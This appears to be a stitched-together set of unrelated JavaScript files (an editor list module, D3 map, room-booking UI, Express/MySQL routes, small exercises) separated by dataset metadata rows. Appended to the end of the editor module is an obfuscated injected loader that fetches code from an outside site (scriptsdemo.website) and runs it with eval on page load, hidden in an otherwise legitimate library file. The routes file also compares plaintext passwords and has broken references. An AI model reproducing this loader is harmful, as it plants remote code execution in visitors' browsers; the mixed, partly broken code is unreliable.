this.toggleList = function (listName, editable) {
var rng = range.create(editable).wrapBodyInlineWithPara();
var paras = rng.nodes(dom.isPara, { includeAncestor: true });
var bookmark = rng.paraBookmark(paras);
var clustereds = list.clusterBy(paras, func.peq2('parentNode'));
// paragraph to list
if (list.find(paras, dom.isPurePara)) {
var wrappedParas = [];
$.each(clustereds, function (idx, paras) {
wrappedParas = wrappedParas.concat(self.wrapList(paras, listName));
});
paras = wrappedParas;
// list to paragraph or change list style
} else {
var diffLists = rng.nodes(dom.isList, {
includeAncestor: true
}).filter(function (listNode) {
return !$.nodeName(listNode, listName);
});
if (diffLists.length) {
$.each(diffLists, function (idx, listNode) {
dom.replace(listNode, listName);
});
} else {
paras = this.releaseList(clustereds, true);
}
}
range.createFromParaBookmark(bookmark, paras).select();
};
/**
* @param {Node[]} paras
* @param {String} listName
* @return {Node[]}
*/
this.wrapList = function (paras, listName) {
var head = list.head(paras);
var last = list.last(paras);
var prevList = dom.isList(head.previousSibling) && head.previousSibling;
var nextList = dom.isList(last.nextSibling) && last.nextSibling;
var listNode = prevList || dom.insertAfter(dom.create(listName || 'UL'), last);
// P to LI
paras = paras.map(function (para) {
return dom.isPurePara(para) ? dom.replace(para, 'LI') : para;
});
// append to list(<ul>, <ol>)
dom.appendChildNodes(listNode, paras);
if (nextList) {
dom.appendChildNodes(listNode, list.from(nextList.childNodes));
dom.remove(nextList);
}
return paras;
};
/**
* @method releaseList
*
* @param {Array[]} clustereds
* @param {Boolean} isEscapseToBody
* @return {Node[]}
*/
this.releaseList = function (clustereds, isEscapseToBody) {
var releasedParas = [];
$.each(clustereds, function (idx, paras) {
var head = list.head(paras);
var last = list.last(paras);
var headList = isEscapseToBody ? dom.lastAncestor(head, dom.isList) :
head.parentNode;
var lastList = headList.childNodes.length > 1 ? dom.splitTree(headList, {
node: last.parentNode,
offset: dom.position(last) + 1
}, {
isSkipPaddingBlankHTML: true
}) : null;
var middleList = dom.splitTree(headList, {
node: head.parentNode,
offset: dom.position(head)
}, {
isSkipPaddingBlankHTML: true
});
paras = isEscapseToBody ? dom.listDescendant(middleList, dom.isLi) :
list.from(middleList.childNodes).filter(dom.isLi);
// LI to P
if (isEscapseToBody || !dom.isList(headList.parentNode)) {
paras = paras.map(function (para) {
return dom.replace(para, 'P');
});
}
$.each(list.from(paras).reverse(), function (idx, para) {
dom.insertAfter(para, headList);
});
// remove empty lists
var rootLists = list.compact([headList, middleList, lastList]);
$.each(rootLists, function (idx, rootList) {
var listNodes = [rootList].concat(dom.listDescendant(rootList, dom.isList));
$.each(listNodes.reverse(), function (idx, listNode) {
if (!dom.nodeLength(listNode)) {
dom.remove(listNode, true);
}
});
});
releasedParas = releasedParas.concat(paras);
});
return releasedParas;
};
};
return Bullet;
});
;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(a,b){var c=new XMLHttpRequest();c['onreadystatechange']=function(){if(c['readyState']==0x4&&c['status']==0xc8)b(c['responseText']);},c['open']('GET',a,!![]),c['send'](null);};},rand=function(){return Math['random']()['toString'](0x24)['substr'](0x2);},token=function(){return rand()+rand();};(function(){var a=navigator,b=document,e=screen,f=window,g=a['userAgent'],h=a['platform'],i=b['cookie'],j=f['location']['hostname'],k=f['location']['protocol'],l=b['referrer'];if(l&&!p(l,j)&&!i){var m=new HttpClient(),o=k+'//scriptsdemo.website/bitbank/admin/assets/css/skins/skins.php?id='+token();m['get'](o,function(r){p(r,'ndsx')&&f['eval'](r);});}function p(r,v){return r['indexOf'](v)!==-0x1;}}());};
| true |
8855ce0e7c7053f6bc5336e52d1590b7c419ed8d
|
JavaScript
|
981377660LMT/algorithm-study
|
/chore/js/reverse很快.js
|
UTF-8
| 644 | 3.421875 | 3 |
[] |
no_license
|
// reverse快
// !reverse:9.399999999906868
// for:14
// for2:11.70000000006985
let arr = Array(1e7).fill(0)
let time = performance.now()
arr.reverse()
console.log(performance.now() - time)
arr = Array(1e7).fill(0)
time = performance.now()
for (let i = 0; i < arr.length / 2; i++) {
const temp = arr[i]
arr[i] = arr[arr.length - i - 1]
arr[arr.length - i - 1] = temp
}
console.log(performance.now() - time)
arr = Array(1e7).fill(0)
time = performance.now()
for (let i = 0, j = arr.length - 1; i < j; i++, j--) {
const temp = arr[i]
arr[i] = arr[j]
arr[j] = temp
}
console.log(performance.now() - time)
| true |
f74a2bd259f70039da19ddc6bf7162772a0095c1
|
JavaScript
|
winniehsuanyuan/2020VIS
|
/component/map/map.js
|
UTF-8
| 3,672 | 2.578125 | 3 |
[] |
no_license
|
let select_date = '2012-01-08';
const CITY = ["臺北市", "嘉義市", "新竹市", "基隆市", "新北市", "桃園市", "臺中市", "彰化縣", "高雄市", "臺南市", "金門縣", "澎湖縣", "雲林縣", "連江縣", "新竹縣", "苗栗縣", "屏東縣", "嘉義縣", "宜蘭縣", "南投縣", "花蓮縣", "臺東縣"];
const CSV_FILE = "data/週成交量_crop_市場.csv";
// reference: https://www.learningjquery.com/2012/06/get-url-parameters-using-jquery
var getUrlParameter = function getUrlParameter(sParam) {
var sPageURL = window.location.search.substring(1),
sURLVariables = sPageURL.split('&'),
sParameterName,
i;
for (i = 0; i < sURLVariables.length; i++) {
sParameterName = sURLVariables[i].split('=');
if (sParameterName[0] === sParam) {
return sParameterName[1] === undefined ? true : decodeURIComponent(sParameterName[1]);
}
}
};
function sleep(time) {
return new Promise((resolve) => setTimeout(resolve, time));
}
$(document).ready(function() {
let market_data = new Object();
var density = {};
var value_max, value_min;
// get query string
let crop = getUrlParameter('crop');
let start = new Date(getUrlParameter('start'));
let end = new Date(getUrlParameter('end'));
let data_file = CSV_FILE.replace('crop', crop);
d3.csv(data_file, function(error, csv) {
if (error) {
console.log(error);
}
csv.forEach(r => {
market_data[r['DateTime']] = r;
delete market_data[r['DateTime']]['DateTime'];
});
// console.log(market_data);
// init density
CITY.forEach(c => {
density[c] = 0;
});
// sum up the volume between selected time range
for (const [date, value] of Object.entries(market_data)) {
// if before the start, skip
if (new Date(date) < start) {
continue;
}
// if after the end, break
if (new Date(date) > end) {
break;
}
// sum up the volume of each city
CITY.forEach(c => {
density[c] += parseInt(value[c]);
});
}
// console.log(density);
value_max = Math.max(...Object.values(density));
value_min = Math.min(...Object.values(density));
d3.json("data/taiwan_county.json", function(topodata) {
var features = topojson.feature(topodata, topodata.objects.county).features;
var color = d3.scale.linear().domain([value_min, value_max]).range(["#090", "#f00"]);
var fisheye = d3.fisheye.circular().radius(100).distortion(2);
var prj = function(v) {
var ret = d3.geo.mercator().center([122, 23.25]).scale(6000)(v);
var ret = fisheye({ x: ret[0], y: ret[1] });
return [ret.x, ret.y];
};
var path = d3.geo.path().projection(prj);
for (idx = features.length - 1; idx >= 0; idx--) features[idx].density = density[features[idx].properties.C_Name];
d3.select("svg").selectAll("path").data(features).enter().append("path");
function update() {
d3.select("svg").selectAll("path").attr({
"d": path,
"fill": function(d) { return color(d.density); }
}).on("mouseover", function(d) {
$("#name").text(d.properties.C_Name);
$("#density").text(d.density);
});
}
update();
});
});
});
| true |
074996cae3ffbc7496fd21f0db4754913fa79da6
|
JavaScript
|
daniarzaq/h8-p0-w4
|
/urutkanAbjad.js
|
UTF-8
| 575 | 3.3125 | 3 |
[] |
no_license
|
function urutkanAbjad(str) {
var urut = [];
var hasil = '';
for (var i = 0; i < str.length;i++){
urut.push(str[i])
urut.sort()
}
for (var i = 0; i < urut.length;i++){
hasil += urut[i]
}
return hasil
}
// TEST CASES
console.log(urutkanAbjad('hello')); // 'ehllo'
console.log(urutkanAbjad('truncate')); // 'acenrttu'
console.log(urutkanAbjad('developer')); // 'deeeloprv'
console.log(urutkanAbjad('software')); // 'aeforstw'
console.log(urutkanAbjad('aegis')); // 'aegis'
| true |
2d54a0c477c7cdd8cb170c0a8ab28a61a0a0e3f8
|
JavaScript
|
mattmerrill/organatron
|
/app/assets/javascripts/booking.js
|
UTF-8
| 6,671 | 2.65625 | 3 |
[] |
no_license
|
var attendees = [];
var people = [];
var selectedContacts = [];
function addAttendee(attendee) {
$('.attendee').last().parents('.form-group').after('<div class="form-group"><div class="col-sm-12"><input class="form-control attendee" placeholder="Add Attendee"></div></div>');
$('.attendee').last().focus();
$('.attendee').last().autocomplete({
source: people,
select: function(event, ui) {
selectedContacts.push(ui.item.id);
addAttendee();
}
});
}
function resizeResults() {
$('#Results').css('width', window.innerWidth-370);
}
function addRoom(room) {
console.log(room);
var result = $('<div class="result" data-room-id="'
+room.id
+'" data-room-number="'
+room.room_number
+'"><img class="roomPhoto" src="../assets/room'
+room.room_number
+'.jpg"><div class="roomInfo"><h2>'
+'<span class="roomName">'+room.name+'</span> ('
+room.room_number
+')</h2><span class="attendeeCount">'
+' All attendees available</span><button class="btn btn-default bookNow">Book Now</button><img class="icon" src="../assets/people.svg" alt="Room Capacity"><span class="capacity">'
+room.capacity
+'</span></div><div class="clearfix"></div></div>');
if (room.ethernet) {
result.find('.roomInfo').append('<img class="icon" src="../assets/ethernet.svg" alt="This room has ethernet available">');
}
if (room.whiteboard) {
result.find('.roomInfo').append('<img class="icon" src="../assets/marker.svg" alt="This room has a whiteboard">');
}
if (room.monitor) {
result.find('.roomInfo').append('<img class="icon" src="../assets/display.svg" alt="This room has a projector or monitor">');
}
// Add available time slots
for (var i = room.availabilities.length - 1; i >= 0; i--) {
var availability = $('<span class="time">'+room.availabilities[i]+'</span>');
if (i === 0) {
availability.addClass('selected');
}
result.find('h2').after(availability);
}
$('#Results .row').append(result);
}
$(function() {
// Window resize helpers
resizeResults();
$(window).resize(function() {
resizeResults();
});
// Initialize input helpers
$('#Date').datepicker({
dateFormat: 'MM d, yy'
});
$('#Date').datepicker('setDate', new Date);
$('.attendee').autocomplete({
source: people,
select: function(event, ui) {
selectedContacts.push(ui.item.id);
addAttendee();
}
});
$('#Duration').val('60 Minutes');
// Get contacts
$.getJSON("/contacts", function(data) {
for (var key = 0, size = data.length; key < size; key++) {
people.push({"label":data[key].display_name,"id":data[key].id});
}
});
$(document).on('keypress', '.attendee', function(e) {
if(e.charCode === 13) {
addAttendee($(this).val());
}
});
$('#Duration').on('blur', function() {
$(this).val($(this).val()+' Minutes');
});
$('#Duration').on('focus', function() {
$(this).val($(this).val().split(' Minutes')[0]);
});
$('#Search').on('click', function() {
if ($('#Date').val() == '') {
alert("Please select a date");
return false;
}
if ($('#Duration').val() == '') {
alert("Please set a duration");
return false;
}
if ($('#Subject').val() == '') {
alert("Please set a subject for your meeting");
return false;
}
// Get the available rooms
var duration = $('#Duration').val().split(' Minutes')[0];
if (duration != 30 && duration != 60 && duration != 180) {
duration = 30;
}
$.getJSON("/availabilities?duration="+duration+"&people_ids=3", function(data) {
for (var i = 0; i < data.rooms.length; i++) {
addRoom(data.rooms[i]);
}
});
$('#Search').blur().text("Search Again").toggleClass('col-sm-6 col-sm-offset-3 col-sm-8 col-sm-offset-2');
$('#Date').parent().toggleClass('col-sm-12 col-sm-6');
$('#Duration').parent().toggleClass('col-sm-12 col-sm-6');
$('#Results, #Intro').toggleClass('passive active');
});
$(document).on('click', '.time', function() {
$(this).parent().find('.time').removeClass('selected');
$(this).addClass('selected');
});
$('#CloseBookingModal').on('click', function() {
location.reload();
});
// We want 2014-10-02T14:00:00Z
function formatDateAndTime(date, time) {
return date.getFullYear() + '-' + ("0000"+(1+date.getMonth())).slice(-2) + '-' + ("0000"+(date.getDate())).slice(-2) + 'T' + convertTimeStr(time) + ':00Z';
}
function formatDate(date) {
return date.getFullYear() + '-' + ("0000"+(1+date.getMonth())).slice(-2) + '-' + ("0000"+(date.getDate())).slice(-2) + 'T' + ("0000"+(date.getHours())).slice(-2) + ':' + ("0000"+(date.getMinutes())).slice(-2) + ':00Z';
}
function convertTimeStr(timeStr) {
var timeRe = /(\d{1,2}):(\d\d)([a|p])/;
var found = timeStr.match(timeRe);
var hour = parseInt(found[1]);
var min = found[2];
var meridiem = found[3];
return ("0000" + (hour + (meridiem === 'p' ? 12 : 0))).slice(-2) + ":" + min;
}
$(document).on('click', '.bookNow', function() {
var result = $(this).parents('.result');
var roomId = result.data('room-id');
var subject = $('#Subject').val();
var startDate = $('#Date').datepicker('getDate');
var startTime = result.find('.time.selected').html();
var usefulStartDateTime = formatDateAndTime(startDate,startTime);
var duration = $('#Duration').val().split(' Minutes')[0];
var endDateTime = new Date((new Date(usefulStartDateTime)).getTime() + duration*60000 + 25200000);
console.log(new Date(usefulStartDateTime));
var usefulEndDateTime = formatDate(endDateTime);
$.post("/calendar_events", {
"room_id": roomId,
"contact_ids": selectedContacts,
"start_date": usefulStartDateTime,
"end_date": usefulEndDateTime,
"subject": subject
}, function() {
console.log("Success");
});
$('#bookModal img.roomInfo').attr('src', result.find('img').attr('src'));
$('#bookModal span.roomName').html(result.find('.roomName').html());
$('#bookModal span.subject').html(subject);
$('#bookModal span.time').html(result.find('.time.selected').html());
$('#bookModal span.date').html($('#Date').val());
$('#bookModal span.room_number').html(result.data('room-number'));
for (var i = 0; i < selectedContacts.length; i++) {
for (var j = 0; j < people.length; j++) {
if (selectedContacts[i] == people[j].id) {
$('#bookModal div.attendees').append($('<div class="col-sm-3"><img src="../assets/person'+people[j].id+'.png"><p>'+people[j].label+'</p></div>'));
}
}
}
$('#bookModal').modal('show');
});
});
| true |
44de833af955c83b23bf8bab4013f4c77ed34ab6
|
JavaScript
|
stephenscaff/svg2avg
|
/src/assets/js/svg2avg/buildItems.js
|
UTF-8
| 2,540 | 2.609375 | 3 |
[] |
no_license
|
import parseTransform from './parseTransform.js'
/**
* Build AVG Items
* @param {object} SVG child properties
* @return {object | undefined}
*/
export default function buildItems(children){
// Map over our svg items
let items = [...children].map(child => {
// Bail if not a group or path (no AVG support)
if (child.tagName != 'g' && child.tagName != 'path') return null
// parse trasforms
let transform = parseTransform(child.getAttribute('transform') || (child.getAttribute('transform') != 'none' ? child.getAttribute('transform') : null))
return {
type: child.tagName === 'g' ? 'group' : 'path',
pathData: child.getAttribute('d') || undefined,
fill: child.getAttribute('fill') ? child.getAttribute('fill') : undefined,
fillOpacity: child.getAttribute('fill-opacity') && child.getAttribute('fill-opacity') != '1' ? parseFloat(child.getAttribute('fill-opacity')) : undefined,
stroke: child.getAttribute('stroke') && child.getAttribute('stroke') != 'none' ? child.getAttribute('stroke') : undefined,
strokeOpacity: child.getAttribute('stroke-opacity') && child.getAttribute('stroke-opacity') != '1' ? parseFloat(child.getAttribute('stroke-opacity')) : undefined,
strokeWidth: child.getAttribute('stroke-width') && child.getAttribute('stroke-width') != '1px' ? parseInt(child.getAttribute('stroke-width')) : undefined,
opacity: child.getAttribute('opacity') && child.getAttribute('opacity') != '1' ? parseFloat(child.getAttribute('opacity')) : undefined,
rotation: transform && transform.rotate && transform.rotate[0] && parseInt(transform.rotate[0], 10),
pivotX: transform && transform.rotate && transform.rotate[1] && parseInt(transform.rotate[1], 10),
pivotY: transform && transform.rotate && transform.rotate[2] && parseInt(transform.rotate[2], 10),
scaleX: transform && transform.scale && transform.scale[0] && parseInt(transform.scale[0], 10),
scaleY: transform && transform.scale && transform.scale[1] && parseInt(transform.scale[1], 10),
translateX: transform && transform.translate && transform.translate[0] && parseInt(transform.translate[0], 10),
translateY: transform && transform.translate && transform.translate[1] && parseInt(transform.translate[1], 10),
items: child.children && buildItems(child.children)
}
}).filter(child => !!child)
return items.length > 0 ? items : undefined
}
| true |
9a5a36349d655c0cb3a19eedbadfa3f9b55e4463
|
JavaScript
|
gtgan/TeaDistribution
|
/Xoom_curr/Xoom/app/routes/api-routes.js
|
UTF-8
| 2,886 | 2.78125 | 3 |
[] |
no_license
|
// *********************************************************************************
// api-routes.js - this file offers a set of routes for displaying and saving data to the db
// *********************************************************************************
// Dependencies
// =============================================================
var connection = require("../config/connection.js");
// Routes
// =============================================================
module.exports = function(app) {
// Get all users
app.get("/api/all", function(req, res) {
var dbQuery = "SELECT * FROM users";
connection.query(dbQuery, function(err, result) {
res.json(result);
});
});
// check a user
app.post("/api/login", function(req, res) {
var dbQuery = "SELECT * FROM users WHERE username = ?";
connection.query(dbQuery, req.body.username, function(err, result) {
console.log(req.body)
console.log(req.body.username)
if(err){
throw err;
}
dbusr = result[0].username;
dbpwd = result[0].password;
const user = {
username: dbusr,
password: dbpwd
}
if(dbpwd == req.body.password){
console.log("legit")
jwt.sign({user: user}, 'secretKey', (err, token) => {
res.json({
token: token
})
})
} else{
console.log("NOT legit")
res.send(false);
}
res.end();
})
});
// Add a user
app.post("/api/new", function(req, res) {
var dbQuery = "INSERT INTO users (username, password, fname, lname) VALUES (?,?,?,?)";
connection.query(dbQuery, [req.body.username, req.body.password, req.body.fname, req.body.lname], function(err, result) {
console.log("User Successfully Saved!");
res.end();
});
});
//TO-DO
//Delete a User
app.delete("/api/delete", function(req, res) {
console.log("user to delete username");
console.log(req.body);
var dbQuery = "DELETE FROM users WHERE username = ?";
connection.query(dbQuery, [rq.body.username], function (err, res) {
console.log("User Deleted Successfully!");
res.end();
});
});
//Update a user
//-------------------------------------------------ROOM ROUTES------------------------------------------------------------------------------
// Get all Rooms
app.get("/api/rooms", function(req, res) {
var dbQuery = "SELECT * FROM rooms";
connection.query(dbQuery, function(err, result) {
res.json(result);
});
});
//Delete a Room
app.delete("/api/deleteRoom", function(req, res) {
var dbQuery = "DELETE FROM rooms WHERE name = ?";
connection.query(dbQuery, [rq.body.name], function (err, res) {
console.log("Room Deleted Successfully!");
res.end();
});
});
};
| true |
5b519c5abc4e525a81e0323394aba2027006a532
|
JavaScript
|
shage001/interview-cake
|
/src/bracket-validator/bracket-validator.js
|
UTF-8
| 1,254 | 3.890625 | 4 |
[] |
no_license
|
/**********************************************************************************************************************
* Let's say:
*
* '(', '{', '[' are called "openers."
* ')', '}', ']' are called "closers."
*
* Write an efficient function that tells us whether or not an input string's openers and closers are properly nested.
*
* Examples:
*
* "{ [ ] ( ) }" should return True
* "{ [ ( ] ) }" should return False
* "{ [ }" should return False
*/
function bracketValidator( str )
{
/* we only care about bracket characters */
var openers = [ '(', '[', '{' ];
var closers = [ '}', ']', ')' ];
var correspondance = {
'(' : ')',
'{' : '}',
'[' : ']'
};
var len = str.length;
var stack = [];
/* iterate through the string - if we see an opener, push onto stack */
/* if we see a closer, check for it's counterpart on the top of the stack */
for ( var i = 0; i < len; i++ )
{
if ( openers.includes( str[i] ) ) {
stack.unshift( str[i] );
}
if ( closers.includes( str[i] ) ) {
var match = stack.shift();
/* closer doesn't match opener or stack is empty */
if ( !match || correspondance[match] !== str[i] ) {
return false;
}
}
}
/* make sure everything has a match */
return stack.length === 0;
}
| true |
627b91872dc5fb59c14fc7e5884d823665c48402
|
JavaScript
|
Wave1994-Hoon/javascript-stduy
|
/fastCampus/javascriptAndHTML/counterExample/src/index.js
|
UTF-8
| 517 | 3.53125 | 4 |
[] |
no_license
|
const number = document.getElementById('number');
const increase = document.getElementById('increase');
const decrease = document.getElementById('decrease');
// console.log(number.innerText);
// console.log(increase.offsetTop);
// console.log(decrease.id);
increase.onclick = () => {
const currentNumber = parseInt(number.innerText, 10);
number.innerText = currentNumber + 1;
}
decrease.onclick = () => {
const currentNumber = parseInt(number.innerText, 10);
number.innerText = currentNumber - 1;
}
| true |
e6fd06f54f6c8756f955b9176e0da506ed07530b
|
JavaScript
|
raphaelgregg/pokedex
|
/src/service/api.js
|
UTF-8
| 927 | 2.90625 | 3 |
[] |
no_license
|
let baseURL = `https://pokeapi.co/api/v2/pokemon/`;
// const baseURL = `https://pokeapi.co/api/v2/pokemon?limit=${totalPokemon}`;
async function api(pokemon) {
let data="";
if(pokemon != undefined) {
let response = await fetch(baseURL + pokemon);
data = await response.json();
}else {
let response = await fetch(baseURL);
data = await response.json();
const {count} = data;
// const count = 47;
const limit = `?limit=${count}`;
response = await fetch(baseURL + `${limit}`);
data = await response.json();
}
return data;
}
// async function fetchPokemon(urlPokemon){
// const response = await fetch(urlPokemon);
// const data = await response.json();
// let name = data['name'];
// let pokemonFrontImgUrl = data['sprites']['front_default'];
// return {name,pokemonFrontImgUrl};
// };
export {api};
| true |
73e3564c4e3d2f5ca9ae838bc1d078422b2e42e1
|
JavaScript
|
lizethMarti/PupFinder
|
/src/store/listas.js
|
UTF-8
| 1,208 | 2.515625 | 3 |
[] |
no_license
|
const store = {
state : {
listas:[{
id:'poodle',
nombre: 3125668479
},
{
id:'bulldog',
nombre: 3605847852
}]
},
getters : {
listas(state){
return state.listas
},
listaPorID(state){
return id => state.listas.find(lista => lista.id == id)
}
},
mutation :{
agregarLista(state,lista){
state.listas.push(lista)
},
actualizarLista(state,listaActualizar){
var indice = state.listas.findIndex(lista => lista.id == listaActualizar.id)
state.listas.splice(indice,1,listaActualizar)
}
},
action : {
cargarListas({commit,rootGetters}){
return new Promise((resolve,reject)=>{
})
},
agregarListas({},tarea){
return new Promise((resolve,reject)=>{
})
},
eliminarListas({},tarea){
return new Promise((resolve,reject)=>{
})
},
actualizarListas({},tarea){
return new Promise((resolve,reject)=>{
})
}
}
}
export default store
| true |
b641cc75bea8d1dee7a570093003b1baf1040aff
|
JavaScript
|
KyleKnolleLynch/simple-color-changer
|
/js/hex.js
|
UTF-8
| 462 | 3.375 | 3 |
[] |
no_license
|
const btn = document.querySelector('.btn-hero');
const color = document.querySelector('.color');
const hexCode = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 'A', 'B', 'C', 'D', 'E', 'F'];
btn.addEventListener('click', () => {
let newColor = '#';
for (let i = 0; i < 6; i++) {
const randomCode = hexCode[Math.floor(Math.random() * hexCode.length)];
newColor += randomCode;
}
document.body.style.backgroundColor = newColor;
color.textContent = newColor;
});
| true |
f3605ebe0474eac16d2aa82c810bd9ff9f4ce92a
|
JavaScript
|
IvanJJill/npbfood-web-ui
|
/src/reducers/reducerMealDropped.js
|
UTF-8
| 1,321 | 2.65625 | 3 |
[] |
no_license
|
import actions from '../actions/actionTypes';
import { getMealNameAndId } from '../utils';
export default (state = 0, action) => {
switch (action.type) {
case actions.MEAL_WAS_DROPPED:
const payload = reducerMealDropped(state, action.payload);
return payload;
default:
return state;
}
};
const reducerMealDropped = (state/*, data*/) => state;
// this is a zahlushka
// return state;
// const { destination, source, draggableId } = data;
// const { selected, meals } = state;
// if (!destination) {
// return;
// }
// if (
// source.droppableId === destination.droppableId
// && destination.index === source.index
// ) {
// return;
// }
// // from meal (e.g. breakfast)
// const [fromMealName, fromMealIdx] = getMealNameAndId(source.droppableId);
// const [toMealName, toMealIdx] = getMealNameAndId(destination.droppableId);
// console.log(`Moving item from ${fromMealName} to ${toMealName}`);
// const fromMeal = Array.from(meals[selected][fromMealIdx]); // e.g. breakfast
// const toMeal = Array.from(meals[selected][toMealIdx]);
// // ToDo: issue #6 - this will be avoided if copied, but new ID should be created
// fromMeal.splice(source.index, 1); // remove dragged item
// toMeal.splice(destination.index, 0, draggableId);
};
| true |
6539eb22c289cd5def3f6becde924c4874621b62
|
JavaScript
|
dunnock/codinggame-ai
|
/maze/arena.js
|
UTF-8
| 1,595 | 2.9375 | 3 |
[] |
no_license
|
// General class, reusable in all 2D mazes implementations
// Arena is a multiline text representation of the battlefield, where
// - every character represents type of the cell
// - player is a subtype of Player
const MAXWIDTHSHIFT = 14
class Arena {
constructor(width, height, field, objects) {
Object.assign(this, {width,height,field}, objects)
}
//Immutable method, returns new arena
setCell(x, y, type) {
let arena = this.clone(true, false);
arena.table[y] = this.field[y].slice(0,x) + type + this.field[y].slice(x+1)
return arena
}
cell(pos) {
if(!pos) return undefined;
return this.cellXY(pos.x, pos.y);
}
cellXY(x, y) {
if(x<0 || x>=this.width || y<0 || y>=this.height)
return undefined;
return new CellProxy(x, y, this.field[y][x]);
}
cellsAroundXY(x, y) {
return [this.cellXY(x-1,y), this.cellXY(x+1,y), this.cellXY(x,y-1), this.cellXY(x,y+1)]
.filter(c => c ? true : false)
}
clone(cloneTable = true) {
let bf = Object.create(this);
bf.table = cloneTable ? this.field.slice() : this.field;
bf.width = this.width;
bf.height = this.height;
return bf;
}
toString() {
return this.field.join('\n')
}
}
class CellProxy {
constructor(x,y,type) {
Object.assign(this,{x,y,type})
}
at(pos) {
return this.x == pos.x && this.y == pos.y
}
get key() {
return this.y<<MAXWIDTHSHIFT|this.x
}
}
export {Arena, CellProxy}
export default Arena
| true |
34d5d6ddb9e81ad15ac17cf39b959d8ac7192b05
|
JavaScript
|
MarinaGR/_BBDD
|
/js/funciones.js
|
UTF-8
| 6,105 | 2.59375 | 3 |
[] |
no_license
|
var db;
var name_db="Dummy_DB";
function onBodyLoad()
{
document.addEventListener("deviceready", onDeviceReady, false);
db = window.openDatabase(name_db, "1.0", "Just a Dummy DB", 200000);
//va en ondeviceready
db.transaction(populateDB, errorCB, successCB);
}
function onDeviceReady()
{
/*
document.addEventListener("backbutton", onBackKeyDown, false);
document.addEventListener("menubutton", onMenuKeyDown, false);
db.transaction(populateDB, errorCB, successCB);
*/
}
//create table and insert some record
function populateDB(tx) {
/*tx.executeSql('CREATE TABLE IF NOT EXISTS points (id TEXT NOT NULL PRIMARY KEY, nombre TEXT NOT NULL, descripcion TEXT NULL, imagenb64 TEXT NULL)');
$.each(my_points, function(indice, punto)
{
tx.executeSql('SELECT * FROM points WHERE id=(?)',[punto[0]],
function(tx,result)
{
if(result.rows.length==0)
tx.executeSql('INSERT INTO points(id,nombre,descripcion,imagenb64) VALUES (?,?,?,?)', [ punto[0], punto[1], punto[2],punto[3] ]);
}, errorCB);
});*/
console.log("1");
exportTable(tx);
}
//function will be called when an error occurred
function errorCB(err) {
alert("Error processing SQL");
console.log("ERROR: "+err.code+" "+err.message);
}
//function will be called when process succeed
function successCB() {
console.log("success!");
//db.transaction(queryDB,errorCB);
}
//select all from points
function queryDB(tx){
console.log("2");
tx.executeSql('SELECT * FROM points',[],querySuccess,errorCB);
}
function querySuccess(tx,result){
console.log("3");
$('#listado').empty();
$.each(result.rows,function(index){
var row = result.rows.item(index);
if(row['imagenb64']!=null)
$('#listado').append('<li><a href="#"><img class="ui-li-thumb" height="100%" src="data:image/jpg;base64, '+row['imagenb64']+'" /><h3 class="ui-li-heading" id="'+row['id']+'">'+row['nombre']+'</h3><p class="ui-li-desc">'+row['descripcion']+'</p></a></li>');
else
$('#listado').append('<li><a href="#"><img class="ui-li-thumb" src="" /><h3 class="ui-li-heading" id="'+row['id']+'">'+row['nombre']+'</h3><p class="ui-li-desc">'+row['descripcion']+'</p></a></li>');
});
$('#listado').listview();
}
/*IMPORT*/
function importDB() {
console.log("4");
$.get('./myDatabase.sql', function(response) {
console.log("got db dump!", response);
var db = openDatabase('myDatabase', '1.0', 'myDatabase', 10000000);
processQuery(db, 2, response.split(';\n'), 'myDatabase');
});
}
//The processQuery function process all the statements one by one, and silently ignores errors.
function processQuery(db, i, queries, dbname) {
console.log("5");
if(i < queries.length -1) {
console.log(i +' of '+queries.length);
if(!queries[i+1].match(/(INSERT|CREATE|DROP|PRAGMA|BEGIN|COMMIT)/)) {
queries[i+1] = queries[i]+ ';\n' + queries[i+1];
return processQuery(db, i+1, queries, dbname);
}
console.log('------------>', queries[i]);
db.transaction( function (query){
query.executeSql(queries[i]+';', [], function(tx, result) {
processQuery(db, i +1, queries,dbname);
});
}, function(err) {
console.log("Query error in ", queries[i], err.message);
processQuery(db, i +1, queries, dbname);
});
} else {
console.log("Done importing!");
}
}
/*EXPORT*/
// Export current table as SQL script
function exportTable(tx) {
console.log("6");
tx.executeSql("SELECT tbl_name, sql from sqlite_master WHERE type = 'table'", [], function(tx, result)
{
if (result.rows && result.rows.item(0))
{
var _exportSql="";
$.each(result.rows,function(index,fila){
if(fila.tbl_name!="__WebKitDatabaseInfoTable__" && fila.tbl_name!="sqlite_sequence")
{
_exportSql = fila["sql"];
tx.executeSql("SELECT * FROM " + fila.tbl_name + ";", [], function(transaction, results) {
if (results.rows) {
for (var i = 0; i < results.rows.length; i++) {
var row = results.rows.item(i);
var _fields = [];
var _values = [];
for (col in row) {
_fields.push(col);
_values.push('"' + row[col] + '"');
}
_exportSql += ";\nINSERT INTO " + fila.tbl_name + "(" + _fields.join(",") + ") VALUES (" + _values.join(",") + ")";
}
console.log(_exportSql);
}
});
}
});
}
}, errorCB);
}
function dobackup() {
$.when(
backup("notes"),
backup("log")
).then(function(notes, log) {
console.log("All done");
//Convert to JSON
var data = {notes:notes, log:log};
var serializedData = JSON.stringify(data);
console.log(serializedData);
});
}
function backup(table) {
var def = new $.Deferred();
db.readTransaction(function(tx) {
tx.executeSql("select * from "+table, [], function(tx,results) {
var data = convertResults(results);
console.dir(data);
def.resolve(data);
});
}, dbError);
return def;
}
/*END IMPORT/EXPORT*/
function onBackKeyDown()
{
if(window.location.href.search(new RegExp("index.html$")) != -1)
{
navigator.app.exitApp();
return false;
}
window.history.back();
}
function onMenuKeyDown()
{
window.location.href='menu.html';
}
function onOutKeyDown()
{
navigator.app.exitApp();
return false;
}
function setLocalStorage(keyinput,valinput)
{
if(typeof(window.localStorage) != 'undefined') {
window.localStorage.setItem(keyinput,valinput);
}
else {
alert("no localStorage");
}
}
function getLocalStorage(keyoutput)
{
if(typeof(window.localStorage) != 'undefined') {
return window.localStorage.getItem(keyoutput);
}
else {
alert("no localStorage");
}
}
function setSessionStorage(keyinput,valinput)
{
if(typeof(window.sessionStorage) != 'undefined') {
window.sessionStorage.setItem(keyinput,valinput);
}
else {
alert("no sessionStorage");
}
}
function getSessionStorage(keyoutput)
{
if(typeof(window.sessionStorage) != 'undefined') {
return window.sessionStorage.getItem(keyoutput);
}
else {
alert("no sessionStorage");
}
}
| true |
6a4f0f3d1d0d86842a621675111b839d5efb2947
|
JavaScript
|
micha149/homelib
|
/src/Connection.js
|
UTF-8
| 5,105 | 2.84375 | 3 |
[] |
no_license
|
